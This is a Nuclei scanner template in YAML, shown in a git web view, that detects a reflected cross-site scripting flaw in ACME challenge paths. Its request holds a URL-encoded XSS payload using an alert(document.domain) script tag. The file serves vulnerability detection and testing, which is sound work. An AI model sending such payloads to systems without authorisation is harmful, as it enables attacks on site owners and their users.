nuclei-templates/vulnerabilities/other/acme-xss.yaml

33 lines
1.1 KiB
YAML
Raw Normal View History

id: acme-xss
info:
name: Let's Encrypt - Cross-Site Scripting
2021-04-06 06:46:11 +00:00
author: pdteam
severity: high
description: Let's Encrypt contains a cross-site scripting vulnerability when using the the ACME protocol to issue SSL certificates.
reference:
- https://www.mike-gualtieri.com/posts/chaining-remote-web-vulnerabilities-to-abuse-lets-encrypt
- https://community.letsencrypt.org/t/xss-via-acme-implementations/72295
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
tags: xss,acme
requests:
- method: GET
path:
- '{{BaseURL}}/.well-known/acme-challenge/%3C%3fxml%20version=%221.0%22%3f%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%28document.domain%26%23x29%3B%3C/x:script%3E'
2021-01-10 22:01:24 +00:00
matchers-condition: and
matchers:
- type: word
words:
- "<?xml version=\"1.0\"?><x:script xmlns:x=\"http://www.w3.org/1999/xhtml\">alert(document.domain)</x:script>"
- type: word
2021-01-10 22:01:24 +00:00
words:
- "/xml"
- "/html"
# Enhanced by md on 2022/09/22